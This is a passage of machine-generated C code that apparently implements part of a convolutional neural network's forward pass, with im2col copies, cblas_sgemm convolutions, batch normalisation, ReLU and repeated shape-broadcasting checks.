x20852;\nbool x20964 = x20962 || x20963;\nif (x20964) {\nint32_t x20965 = x20958 * x20914;\nfloat* x20966 = x20953+x20965;\nmemset(x20966, 0, 4 * x20914);;\n} else {\nint32_t x20965 = x20958 * x20914;\nint32_t x20981 = x20961 * x20852;\nfor(int x20969=0; x20969 < x20914; x20969++) {\nint32_t x20970 = x20969 * 2;\nint32_t x20971 = x20970 - 1;\nint32_t x20972 = x20971 + x20941;\nbool x20973 = x20972 < 0;\nbool x20974 = x20972 >= x20852;\nbool x20975 = x20973 || x20974;\nif (x20975) {\nint32_t x20976 = x20965 + x20969;\nfloat* x20977 = x20953+x20976;\nmemset(x20977, 0, 4 * 1);;\n} else {\nint32_t x20976 = x20965 + x20969;\nfloat* x20980 = x20953+x20976;\nint32_t x20982 = x20981 + x20972;\nfloat* x20983 = x20956+x20982;\nmemcpy(x20980, x20983, 4 * 1);;\n}\n\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x20915,x20921,1,x34,x20921,x20933,x20915,1,x20931,x20915);\n\n}\nint32_t x20998 = 0;\nint32_t x20999 = 1;\nx20999 *= 1;\nx20998 += 1;\nx20999 *= 1;\nx20999 *= 1;\nint32_t x21004 = x20998;\nbool x21005 = x21004 >= 2;\nif (x21005) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21010 = x21004 == 0;\nif (x21010) {\nint32_t x21011 = x20999;\nbool x21012 = x21011 == 512;\nif (x21012) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21019 = x20999;\nint32_t x21020 = 512 / x21019;\nbool x21021 = x21020 == 1;\nbool x21024;\nif (x454) {\nbool x21022 = 512 == x21020;\nbool x21023 = x21021 || x21022;\nx21024 = x21023;\n} else {\nx21024 = false;\n}\nbool x21028;\nif (x21024) {\nx21028 = x21027;\n} else {\nx21028 = false;\n}\nbool x21029;\nif (x21028) {\nx21029 = x21027;\n} else {\nx21029 = false;\n}\nif (x21029) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x20914,x20914,1,x21020,1,1);\nassert(false && \"\");\n}\nbool x21035 = 512 <= x21020;\nint32_t x21036;\nif (x21035) {\nx21036 = x21020;\n} else {\nx21036 = 512;\n}\nint32_t x21045 = x21036 * x21044;\nint32_t x21046 = 64 * x21045;\nfloat* x21047 = (float*)myMalloc(x21046 * sizeof(float));;\nint32_t x21050;\nif (x21021) {\nx21050 = 0;\n} else {\nx21050 = 1;\n}\nfor(int x21051=0; x21051 < 64; x21051++) {\nint32_t x21063 = x20916 * x21051;\nint32_t x21057 = x21045 * x21051;\nfor(int x21053=0; x21053 < x21036; x21053++) {\nint32_t x21064 = x20915 * x21053;\nint32_t x21065 = x21063 + x21064;\nint32_t x21070 = x21050 * x21053;\nint32_t x21059 = x21044 * x21053;\nfor(int x21055=0; x21055 < x21038; x21055++) {\nint32_t x21066 = x21048 * x21055;\nint32_t x21067 = x21065 + x21066;\nint32_t x21061 = x21038 * x21055;\nfor(int x21056=0; x21056 < x21038; x21056++) {\nint32_t x21068 = x21049 * x21056;\nint32_t x21069 = x21067 + x21068;\nfloat x21071 = x20920[x21069];\nfloat x21072 = x113[x21070];\nint32_t x21058 = x21056 + x21057;\nint32_t x21060 = x21058 + x21059;\nint32_t x21062 = x21060 + x21061;\nfloat x21073 = x21071 - x21072;\nx21047[x21062] = x21073;\n\n}\n\n}\n\n}\n\n}\nfloat* x21083 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x21084=0; x21084 < 512; x21084++) {\nfloat x21085 = x50[x21084];\nfloat x21086 = x21085 + 1.0E-5f;\nx21083[x21084] = x21086;\n\n}\nfloat* x21090 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x21091=0; x21091 < 512; x21091++) {\nfloat x21092 = x21083[x21091];\ndouble x21093 = (double)x21092;\ndouble x21094 = sqrt(x21093);\nfloat x21095 = (float)x21094;\nx21090[x21091] = x21095;\n\n}\nint32_t x21099 = 0;\nint32_t x21100 = 1;\nx21100 *= 1;\nx21099 += 1;\nx21100 *= 1;\nx21100 *= 1;\nint32_t x21105 = x21099;\nbool x21106 = x21105 >= 2;\nif (x21106) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21111 = x21105 == 0;\nif (x21111) {\nint32_t x21112 = x21100;\nbool x21113 = x21112 == 512;\nif (x21113) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21120 = x21100;\nbool x21122 = x21036 == 1;\nint32_t x21121 = 512 / x21120;\nbool x21123 = x21121 == 1;\nbool x21127;\nif (x454) {\nbool x21124 = x21122 || x21123;\nbool x21125 = x21036 == x21121;\nbool x21126 = x21124 || x21125;\nx21127 = x21126;\n} else {\nx21127 = false;\n}\nbool x21131;\nif (x21127) {\nx21131 = x21130;\n} else {\nx21131 = false;\n}\nbool x21132;\nif (x21131) {\nx21132 = x21130;\n} else {\nx21132 = false;\n}\nif (x21132) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21036,x21038,x21038,1,x21121,1,1);\nassert(false && \"\");\n}\nbool x21138 = x21036 <= x21121;\nint32_t x21139;\nif (x21138) {\nx21139 = x21121;\n} else {\nx21139 = x21036;\n}\nint32_t x21148 = x21139 * x21147;\nint32_t x21149 = 64 * x21148;\nfloat* x21150 = (float*)myMalloc(x21149 * sizeof(float));;\nint32_t x21151;\nif (x21122) {\nx21151 = 0;\n} else {\nx21151 = x21044;\n}\nint32_t x21154;\nif (x21123) {\nx21154 = 0;\n} else {\nx21154 = 1;\n}\nfor(int x21155=0; x21155 < 64; x21155++) {\nint32_t x21167 = x21045 * x21155;\nint32_t x21161 = x21148 * x21155;\nfor(int x21157=0; x21157 < x21139; x21157++) {\nint32_t x21168 = x21151 * x21157;\nint32_t x21169 = x21167 + x21168;\nint32_t x21174 = x21154 * x21157;\nint32_t x21163 = x21147 * x21157;\nfor(int x21159=0; x21159 < x21141; x21159++) {\nint32_t x21170 = x21152 * x21159;\nint32_t x21171 = x21169 + x21170;\nint32_t x21165 = x21141 * x21159;\nfor(int x21160=0; x21160 < x21141; x21160++) {\nint32_t x21172 = x21153 * x21160;\nint32_t x21173 = x21171 + x21172;\nfloat x21175 = x21047[x21173];\nfloat x21176 = x21090[x21174];\nint32_t x21162 = x21160 + x21161;\nint32_t x21164 = x21162 + x21163;\nint32_t x21166 = x21164 + x21165;\nfloat x21177 = x21175 / x21176;\nx21150[x21166] = x21177;\n\n}\n\n}\n\n}\n\n}\nint32_t x21187 = 0;\nint32_t x21188 = 1;\nx21188 *= 1;\nx21187 += 1;\nx21188 *= 1;\nx21188 *= 1;\nint32_t x21193 = x21187;\nbool x21194 = x21193 >= 2;\nif (x21194) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21199 = x21193 == 0;\nif (x21199) {\nint32_t x21200 = x21188;\nbool x21201 = x21200 == 512;\nif (x21201) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21208 = x21188;\nbool x21210 = x21139 == 1;\nint32_t x21209 = 512 / x21208;\nbool x21211 = x21209 == 1;\nbool x21215;\nif (x454) {\nbool x21212 = x21210 || x21211;\nbool x21213 = x21139 == x21209;\nbool x21214 = x21212 || x21213;\nx21215 = x21214;\n} else {\nx21215 = false;\n}\nbool x21219;\nif (x21215) {\nx21219 = x21218;\n} else {\nx21219 = false;\n}\nbool x21220;\nif (x21219) {\nx21220 = x21218;\n} else {\nx21220 = false;\n}\nif (x21220) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21139,x21141,x21141,1,x21209,1,1);\nassert(false && \"\");\n}\nbool x21226 = x21139 <= x21209;\nint32_t x21227;\nif (x21226) {\nx21227 = x21209;\n} else {\nx21227 = x21139;\n}\nint32_t x21236 = x21227 * x21235;\nint32_t x21237 = 64 * x21236;\nfloat* x21238 = (float*)myMalloc(x21237 * sizeof(float));;\nint32_t x21239;\nif (x21210) {\nx21239 = 0;\n} else {\nx21239 = x21147;\n}\nint32_t x21242;\nif (x21211) {\nx21242 = 0;\n} else {\nx21242 = 1;\n}\nfor(int x21243=0; x21243 < 64; x21243++) {\nint32_t x21255 = x21148 * x21243;\nint32_t x21249 = x21236 * x21243;\nfor(int x21245=0; x21245 < x21227; x21245++) {\nint32_t x21256 = x21239 * x21245;\nint32_t x21257 = x21255 + x21256;\nint32_t x21262 = x21242 * x21245;\nint32_t x21251 = x21235 * x21245;\nfor(int x21247=0; x21247 < x21229; x21247++) {\nint32_t x21258 = x21240 * x21247;\nint32_t x21259 = x21257 + x21258;\nint32_t x21253 = x21229 * x21247;\nfor(int x21248=0; x21248 < x21229; x21248++) {\nint32_t x21260 = x21241 * x21248;\nint32_t x21261 = x21259 + x21260;\nfloat x21263 = x21150[x21261];\nfloat x21264 = x205[x21262];\nint32_t x21250 = x21248 + x21249;\nint32_t x21252 = x21250 + x21251;\nint32_t x21254 = x21252 + x21253;\nfloat x21265 = x21263 * x21264;\nx21238[x21254] = x21265;\n\n}\n\n}\n\n}\n\n}\nint32_t x21275 = 0;\nint32_t x21276 = 1;\nx21276 *= 1;\nx21275 += 1;\nx21276 *= 1;\nx21276 *= 1;\nint32_t x21281 = x21275;\nbool x21282 = x21281 >= 2;\nif (x21282) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21287 = x21281 == 0;\nif (x21287) {\nint32_t x21288 = x21276;\nbool x21289 = x21288 == 512;\nif (x21289) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21296 = x21276;\nbool x21298 = x21227 == 1;\nint32_t x21297 = 512 / x21296;\nbool x21299 = x21297 == 1;\nbool x21303;\nif (x454) {\nbool x21300 = x21298 || x21299;\nbool x21301 = x21227 == x21297;\nbool x21302 = x21300 || x21301;\nx21303 = x21302;\n} else {\nx21303 = false;\n}\nbool x21307;\nif (x21303) {\nx21307 = x21306;\n} else {\nx21307 = false;\n}\nbool x21308;\nif (x21307) {\nx21308 = x21306;\n} else {\nx21308 = false;\n}\nif (x21308) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21227,x21229,x21229,1,x21297,1,1);\nassert(false && \"\");\n}\nbool x21314 = x21227 <= x21297;\nint32_t x21315;\nif (x21314) {\nx21315 = x21297;\n} else {\nx21315 = x21227;\n}\nint32_t x21324 = x21315 * x21323;\nint32_t x21325 = 64 * x21324;\nfloat* x21326 = (float*)myMalloc(x21325 * sizeof(float));;\nint32_t x21327;\nif (x21298) {\nx21327 = 0;\n} else {\nx21327 = x21235;\n}\nint32_t x21330;\nif (x21299) {\nx21330 = 0;\n} else {\nx21330 = 1;\n}\nfor(int x21331=0; x21331 < 64; x21331++) {\nint32_t x21343 = x21236 * x21331;\nint32_t x21337 = x21324 * x21331;\nfor(int x21333=0; x21333 < x21315; x21333++) {\nint32_t x21344 = x21327 * x21333;\nint32_t x21345 = x21343 + x21344;\nint32_t x21350 = x21330 * x21333;\nint32_t x21339 = x21323 * x21333;\nfor(int x21335=0; x21335 < x21317; x21335++) {\nint32_t x21346 = x21328 * x21335;\nint32_t x21347 = x21345 + x21346;\nint32_t x21341 = x21317 * x21335;\nfor(int x21336=0; x21336 < x21317; x21336++) {\nint32_t x21348 = x21329 * x21336;\nint32_t x21349 = x21347 + x21348;\nfloat x21351 = x21238[x21349];\nfloat x21352 = x159[x21350];\nint32_t x21338 = x21336 + x21337;\nint32_t x21340 = x21338 + x21339;\nint32_t x21342 = x21340 + x21341;\nfloat x21353 = x21351 + x21352;\nx21326[x21342] = x21353;\n\n}\n\n}\n\n}\n\n}\nfloat* x21363 = (float*)myMalloc(x21325 * sizeof(float));;\nfor(int x21365=0; x21365 < x21325; x21365++) {\nfloat x21366 = x21326[x21365];\nbool x21367 = x21366 < 0.0f;\nif (x21367) {\nx21363[x21365] = 0.0f;\n} else {\nfloat x21370 = x21326[x21365];\nx21363[x21365] = x21370;\n}\n\n}\nfloat* x21384 = (float*)myMalloc(x21383 * sizeof(float));;\nint32_t x21387 = 64 * x21315;\nint32_t x21388 = x21387 * x21379;\nfloat* x21389 = (float*)myMalloc(x21388 * sizeof(float));;\nint32_t x21385 = x21315 * x21379;\nfor(int x21390=0; x21390 < 64; x21390++) {\nint32_t x21391 = x21390 * x21324;\nfloat* x21392 = x21363+x21391;\nint32_t x21393 = x21390 * x21380;\nfloat* x21394 = x21384+x21393;\nint32_t x21395 = x21390 * x21385;\nfloat* x21396 = x21389+x21395;\nfor(int x21397=0; x21397 < x21315; x21397++) {\nint32_t x21398 = x21397 / 1;\nint32_t x21402 = x21398 * x21378;\nint32_t x21403 = x21402 * x21378;\nint32_t x21399 = x21397 % 1;\nint32_t x21400 = x21399 / 1;\nint32_t x21404 = x21400 * x21378;\nint32_t x21405 = x21404 * x21378;\nint32_t x21406 = x21403 + x21405;\nint32_t x21401 = x21399 % 1;\nint32_t x21407 = x21401 * x21378;\nint32_t x21408 = x21407 * x21378;\nint32_t x21409 = x21406 + x21408;\nfloat* x21410 = x21396+x21409;\nint32_t x21411 = x21398 * x21317;\nint32_t x21412 = x21411 * x21317;\nfloat* x21413 = x21392+x21412;\nfor(int x21415=0; x21415 < x21378; x21415++) {\nint32_t x21417 = x21415 * x21378;\nfloat* x21418 = x21410+x21417;\nint32_t x21416 = x21415 + x21400;\nint32_t x21419 = x21416 * x21317;\nint32_t x21420 = x21419 + x21401;\nfloat* x21421 = x21413+x21420;\nmemcpy(x21418, x21421, 4 * x21378);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 2048,x21379,x21315,1,x212,x21315,x21396,x21379,1,x21394,x21379);\n\n}\nint32_t x21430 = 0;\nint32_t x21431 = 1;\nx21431 *= 1;\nx21430 += 1;\nx21431 *= 1;\nx21431 *= 1;\nint32_t x21436 = x21430;\nbool x21437 = x21436 >= 2;\nif (x21437) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21442 = x21436 == 0;\nif (x21442) {\nint32_t x21443 = x21431;\nbool x21444 = x21443 == 2048;\nif (x21444) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21451 = x21431;\nint32_t x21452 = 2048 / x21451;\nbool x21453 = x21452 == 1;\nbool x21456;\nif (x454) {\nbool x21454 = 2048 == x21452;\nbool x21455 = x21453 || x21454;\nx21456 = x21455;\n} else {\nx21456 = false;\n}\nbool x21460;\nif (x21456) {\nx21460 = x21459;\n} else {\nx21460 = false;\n}\nbool x21461;\nif (x21460) {\nx21461 = x21459;\n} else {\nx21461 = false;\n}\nif (x21461) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,2048,x21378,x21378,1,x21452,1,1);\nassert(false && \"\");\n}\nbool x21467 = 2048 <= x21452;\nint32_t x21468;\nif (x21467) {\nx21468 = x21452;\n} else {\nx21468 = 2048;\n}\nint32_t x21477 = x21468 * x21476;\nint32_t x21478 = 64 * x21477;\nfloat* x21479 = (float*)myMalloc(x21478 * sizeof(float));;\nint32_t x21482;\nif (x21453) {\nx21482 = 0;\n} else {\nx21482 = 1;\n}\nfor(int x21483=0; x21483 < 64; x21483++) {\nint32_t x21495 = x21380 * x21483;\nint32_t x21489 = x21477 * x21483;\nfor(int x21485=0; x21485 < x21468; x21485++) {\nint32_t x21496 = x21379 * x21485;\nint32_t x21497 = x21495 + x21496;\nint32_t x21502 = x21482 * x21485;\nint32_t x21491 = x21476 * x21485;\nfor(int x21487=0; x21487 < x21470; x21487++) {\nint32_t x21498 = x21480 * x21487;\nint32_t x21499 = x21497 + x21498;\nint32_t x21493 = x21470 * x21487;\nfor(int x21488=0; x21488 < x21470; x21488++) {\nint32_t x21500 = x21481 * x21488;\nint32_t x21501 = x21499 + x21500;\nfloat x21503 = x21384[x21501];\nfloat x21504 = x115[x21502];\nint32_t x21490 = x21488 + x21489;\nint32_t x21492 = x21490 + x21491;\nint32_t x21494 = x21492 + x21493;\nfloat x21505 = x21503 - x21504;\nx21479[x21494] = x21505;\n\n}\n\n}\n\n}\n\n}\nfloat* x21515 = (float*)myMalloc(2048 * sizeof(float));;\nfor(int x21517=0; x21517 < 2048; x21517++) {\nfloat x21518 = x193[x21517];\nfloat x21519 = x21518 + 1.0E-5f;\nx21515[x21517] = x21519;\n\n}\nfloat* x21523 = (float*)myMalloc(2048 * sizeof(float));;\nfor(int x21524=0; x21524 < 2048; x21524++) {\nfloat x21525 = x21515[x21524];\ndouble x21526 = (double)x21525;\ndouble x21527 = sqrt(x21526);\nfloat x21528 = (float)x21527;\nx21523[x21524] = x21528;\n\n}\nint32_t x21532 = 0;\nint32_t x21533 = 1;\nx21533 *= 1;\nx21532 += 1;\nx21533 *= 1;\nx21533 *= 1;\nint32_t x21538 = x21532;\nbool x21539 = x21538 >= 2;\nif (x21539) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21544 = x21538 == 0;\nif (x21544) {\nint32_t x21545 = x21533;\nbool x21546 = x21545 == 2048;\nif (x21546) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21553 = x21533;\nbool x21555 = x21468 == 1;\nint32_t x21554 = 2048 / x21553;\nbool x21556 = x21554 == 1;\nbool x21560;\nif (x454) {\nbool x21557 = x21555 || x21556;\nbool x21558 = x21468 == x21554;\nbool x21559 = x21557 || x21558;\nx21560 = x21559;\n} else {\nx21560 = false;\n}\nbool x21564;\nif (x21560) {\nx21564 = x21563;\n} else {\nx21564 = false;\n}\nbool x21565;\nif (x21564) {\nx21565 = x21563;\n} else {\nx21565 = false;\n}\nif (x21565) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21468,x21470,x21470,1,x21554,1,1);\nassert(false && \"\");\n}\nbool x21571 = x21468 <= x21554;\nint32_t x21572;\nif (x21571) {\nx21572 = x21554;\n} else {\nx21572 = x21468;\n}\nint32_t x21581 = x21572 * x21580;\nint32_t x21582 = 64 * x21581;\nfloat* x21583 = (float*)myMalloc(x21582 * sizeof(float));;\nint32_t x21584;\nif (x21555) {\nx21584 = 0;\n} else {\nx21584 = x21476;\n}\nint32_t x21587;\nif (x21556) {\nx21587 = 0;\n} else {\nx21587 = 1;\n}\nfor(int x21588=0; x21588 < 64; x21588++) {\nint32_t x21600 = x21477 * x21588;\nint32_t x21594 = x21581 * x21588;\nfor(int x21590=0; x21590 < x21572; x21590++) {\nint32_t x21601 = x21584 * x21590;\nint32_t x21602 = x21600 + x21601;\nint32_t x21607 = x21587 * x21590;\nint32_t x21596 = x21580 * x21590;\nfor(int x21592=0; x21592 < x21574; x21592++) {\nint32_t x21603 = x21585 * x21592;\nint32_t x21604 = x21602 + x21603;\nint32_t x21598 = x21574 * x21592;\nfor(int x21593=0; x21593 < x21574; x21593++) {\nint32_t x21605 = x21586 * x21593;\nint32_t x21606 = x21604 + x21605;\nfloat x21608 = x21479[x21606];\nfloat x21609 = x21523[x21607];\nint32_t x21595 = x21593 + x21594;\nint32_t x21597 = x21595 + x21596;\nint32_t x21599 = x21597 + x21598;\nfloat x21610 = x21608 / x21609;\nx21583[x21599] = x21610;\n\n}\n\n}\n\n}\n\n}\nint32_t x21620 = 0;\nint32_t x21621 = 1;\nx21621 *= 1;\nx21620 += 1;\nx21621 *= 1;\nx21621 *= 1;\nint32_t x21626 = x21620;\nbool x21627 = x21626 >= 2;\nif (x21627) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21632 = x21626 == 0;\nif (x21632) {\nint32_t x21633 = x21621;\nbool x21634 = x21633 == 2048;\nif (x21634) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21641 = x21621;\nbool x21643 = x21572 == 1;\nint32_t x21642 = 2048 / x21641;\nbool x21644 = x21642 == 1;\nbool x21648;\nif (x454) {\nbool x21645 = x21643 || x21644;\nbool x21646 = x21572 == x21642;\nbool x21647 = x21645 || x21646;\nx21648 = x21647;\n} else {\nx21648 = false;\n}\nbool x21652;\nif (x21648) {\nx21652 = x21651;\n} else {\nx21652 = false;\n}\nbool x21653;\nif (x21652) {\nx21653 = x21651;\n} else {\nx21653 = false;\n}\nif (x21653) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21572,x21574,x21574,1,x21642,1,1);\nassert(false && \"\");\n}\nbool x21659 = x21572 <= x21642;\nint32_t x21660;\nif (x21659) {\nx21660 = x21642;\n} else {\nx21660 = x21572;\n}\nint32_t x21669 = x21660 * x21668;\nint32_t x21670 = 64 * x21669;\nfloat* x21671 = (float*)myMalloc(x21670 * sizeof(float));;\nint32_t x21672;\nif (x21643) {\nx21672 = 0;\n} else {\nx21672 = x21580;\n}\nint32_t x21675;\nif (x21644) {\nx21675 = 0;\n} else {\nx21675 = 1;\n}\nfor(int x21676=0; x21676 < 64; x21676++) {\nint32_t x21688 = x21581 * x21676;\nint32_t x21682 = x21669 * x21676;\nfor(int x21678=0; x21678 < x21660; x21678++) {\nint32_t x21689 = x21672 * x21678;\nint32_t x21690 = x21688 + x21689;\nint32_t x21695 = x21675 * x21678;\nint32_t x21684 = x21668 * x21678;\nfor(int x21680=0; x21680 < x21662; x21680++) {\nint32_t x21691 = x21673 * x21680;\nint32_t x21692 = x21690 + x21691;\nint32_t x21686 = x21662 * x21680;\nfor(int x21681=0; x21681 < x21662; x21681++) {\nint32_t x21693 = x21674 * x21681;\nint32_t x21694 = x21692 + x21693;\nfloat x21696 = x21583[x21694];\nfloat x21697 = x239[x21695];\nint32_t x21683 = x21681 + x21682;\nint32_t x21685 = x21683 + x21684;\nint32_t x21687 = x21685 + x21686;\nfloat x21698 = x21696 * x21697;\nx21671[x21687] = x21698;\n\n}\n\n}\n\n}\n\n}\nint32_t x21708 = 0;\nint32_t x21709 = 1;\nx21709 *= 1;\nx21708 += 1;\nx21709 *= 1;\nx21709 *= 1;\nint32_t x21714 = x21708;\nbool x21715 = x21714 >= 2;\nif (x21715) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21720 = x21714 == 0;\nif (x21720) {\nint32_t x21721 = x21709;\nbool x21722 = x21721 == 2048;\nif (x21722) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21729 = x21709;\nbool x21731 = x21660 == 1;\nint32_t x21730 = 2048 / x21729;\nbool x21732 = x21730 == 1;\nbool x21736;\nif (x454) {\nbool x21733 = x21731 || x21732;\nbool x21734 = x21660 == x21730;\nbool x21735 = x21733 || x21734;\nx21736 = x21735;\n} else {\nx21736 = false;\n}\nbool x21740;\nif (x21736) {\nx21740 = x21739;\n} else {\nx21740 = false;\n}\nbool x21741;\nif (x21740) {\nx21741 = x21739;\n} else {\nx21741 = false;\n}\nif (x21741) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x21660,x21662,x21662,1,x21730,1,1);\nassert(false && \"\");\n}\nbool x21747 = x21660 <= x21730;\nint32_t x21748;\nif (x21747) {\nx21748 = x21730;\n} else {\nx21748 = x21660;\n}\nint32_t x21757 = x21748 * x21756;\nint32_t x21758 = 64 * x21757;\nfloat* x21759 = (float*)myMalloc(x21758 * sizeof(float));;\nint32_t x21760;\nif (x21731) {\nx21760 = 0;\n} else {\nx21760 = x21668;\n}\nint32_t x21763;\nif (x21732) {\nx21763 = 0;\n} else {\nx21763 = 1;\n}\nfor(int x21764=0; x21764 < 64; x21764++) {\nint32_t x21776 = x21669 * x21764;\nint32_t x21770 = x21757 * x21764;\nfor(int x21766=0; x21766 < x21748; x21766++) {\nint32_t x21777 = x21760 * x21766;\nint32_t x21778 = x21776 + x21777;\nint32_t x21783 = x21763 * x21766;\nint32_t x21772 = x21756 * x21766;\nfor(int x21768=0; x21768 < x21750; x21768++) {\nint32_t x21779 = x21761 * x21768;\nint32_t x21780 = x21778 + x21779;\nint32_t x21774 = x21750 * x21768;\nfor(int x21769=0; x21769 < x21750; x21769++) {\nint32_t x21781 = x21762 * x21769;\nint32_t x21782 = x21780 + x21781;\nfloat x21784 = x21671[x21782];\nfloat x21785 = x62[x21783];\nint32_t x21771 = x21769 + x21770;\nint32_t x21773 = x21771 + x21772;\nint32_t x21775 = x21773 + x21774;\nfloat x21786 = x21784 + x21785;\nx21759[x21775] = x21786;\n\n}\n\n}\n\n}\n\n}\nfloat* x21803 = (float*)myMalloc(x21802 * sizeof(float));;\nint32_t x21806 = x20490 * x21798;\nfloat* x21807 = (float*)myMalloc(x21806 * sizeof(float));;\nint32_t x21804 = x20351 * x21798;\nfor(int x21808=0; x21808 < 64; x21808++) {\nint32_t x21809 = x21808 * x20360;\nfloat* x21810 = x20466+x21809;\nint32_t x21811 = x21808 * x21799;\nfloat* x21812 = x21803+x21811;\nint32_t x21813 = x21808 * x21804;\nfloat* x21814 = x21807+x21813;\nfor(int x21815=0; x21815 < x20351; x21815++) {\nint32_t x21816 = x21815 / 1;\nint32_t x21820 = x21816 * x21797;\nint32_t x21821 = x21820 * x21797;\nint32_t x21817 = x21815 % 1;\nint32_t x21818 = x21817 / 1;\nint32_t x21822 = x21818 * x21797;\nint32_t x21823 = x21822 * x21797;\nint32_t x21824 = x21821 + x21823;\nint32_t x21819 = x21817 % 1;\nint32_t x21825 = x21819 * x21797;\nint32_t x21826 = x21825 * x21797;\nint32_t x21827 = x21824 + x21826;\nfloat* x21828 = x21814+x21827;\nint32_t x21829 = x21816 * x20353;\nint32_t x21830 = x21829 * x20353;\nfloat* x21831 = x21810+x21830;\nfor(int x21833=0; x21833 < x21797; x21833++) {\nint32_t x21837 = x21833 * x21797;\nint32_t x21834 = x21833 * 2;\nint32_t x21835 = x21834 + x21818;\nint32_t x21840 = x21835 * x20353;\nint32_t x21841 = x21840 + x21819;\nfor(int x21836=0; x21836 < x21797; x21836++) {\nint32_t x21838 = x21837 + x21836;\nfloat* x21839 = x21828+x21838;\nint32_t x21842 = x21836 * 2;\nint32_t x21843 = x21841 + x21842;\nfloat* x21844 = x21831+x21843;\nmemcpy(x21839, x21844, 4 * 1);;\n\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 2048,x21798,x20351,1,x214,x20351,x21814,x21798,1,x21812,x21798);\n\n}\nint32_t x21855 = 0;\nint32_t x21856 = 1;\nx21856 *= 1;\nx21855 += 1;\nx21856 *= 1;\nx21856 *= 1;\nint32_t x21861 = x21855;\nbool x21862 = x21861 >= 2;\nif (x21862) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x21867 = x21861 == 0;\nif (x21867) {\nint32_t x21868 = x21856;\nbool x21869 = x21868 == 2048;\nif (x21869) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x21876 = x21856;\nint32_t x21877 = 2048 / x21876;\nbool x21878 = x21877 == 1;\nbool x21881;\nif (x454) {\nbool x21879 = 2048 == x21877;\nbool x21880 = x21878 || x21879;\nx21881 = x21880;\n} else {\nx21881 = false;\n}\nbool x21885;\nif (x21881) {\nx21885 = x21884;\n} else {\nx21885 = false;\n}\nbool x21886;\nif (x21885) {\nx21886 = x21884;\n} else {\nx21886 = false;\n}\nif (x21886) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,2048,x21797,x21797,1,x21877,1,1);\nassert(false && \"\");\n}\nbool x21892 = 2048 <= x21877;\nint32_t x21893;\nif (x21892) {\nx21893 = x21877;\n} else {\nx21893 = 2048;\n}\nint32_t x21902 = x21893 * x21901;\nint32_t x21903 = 64 * x21902;\nfloat* x21904 = (float*)myMalloc(x21903 * sizeof(float));;\nint32_t x21907;\nif (x21878) {\nx21907 = 0;\n} else {\nx21907 = 1;\n}\nfor(int x21908=0; x21908 < 64; x21908++) {\nint32_t x21920 = x21799 * x21908;\nint32_t x21914 = x21902 * x21908;\nfor(int x21910=0; x21910 < x21893; x21910++) {\nint32_t x21921 = x21798 * x21910;\nint32_t x21922 = x21920 + x21921;\nint32_t x21927 = x21907 * x21910;\nint32_t x21916 = x21901 * x21910;\nfor(int x21912=0; x21912 < x21895; x21912++) {\nint32_t x21923 = x21905 * x21912;\nint32_t x21924 = x21922 + x21923;\nint32_t x21918 = x21895 * x21912;\nfor(int x21913=0; x21913 < x21895; x21913++) {\nint32_t x21925 = x21906 * x21913;\nint32_t x21926 = x21924 + x21925;\nfloat x21928 = x21803[x21926];\nfloat x21929 = x64[x21927];\nint32_t x21915 = x21913 + x21914;\nint32_t x21917 = x21915 + x21916;\nint32_t x21919 = x21917 + x21918;\nfloat x21930 = x21928 - x21929;\nx21904[x21919] = x21930;\n\n}\n\n}\n\n}\n\n}\nfloat* x21940 = (float*)myMalloc(2048 * sizeof(float));;\nfor(int x21941=0; x21941 < 2048; x21941++) {\nfloat x21942 = x125[x21941];\nfloat x21943 = x21942 + 1.0E-5f;\nx21940[x21941] = x21943;\n\n}\nfloat* x21947 = (float*)myMalloc(2048 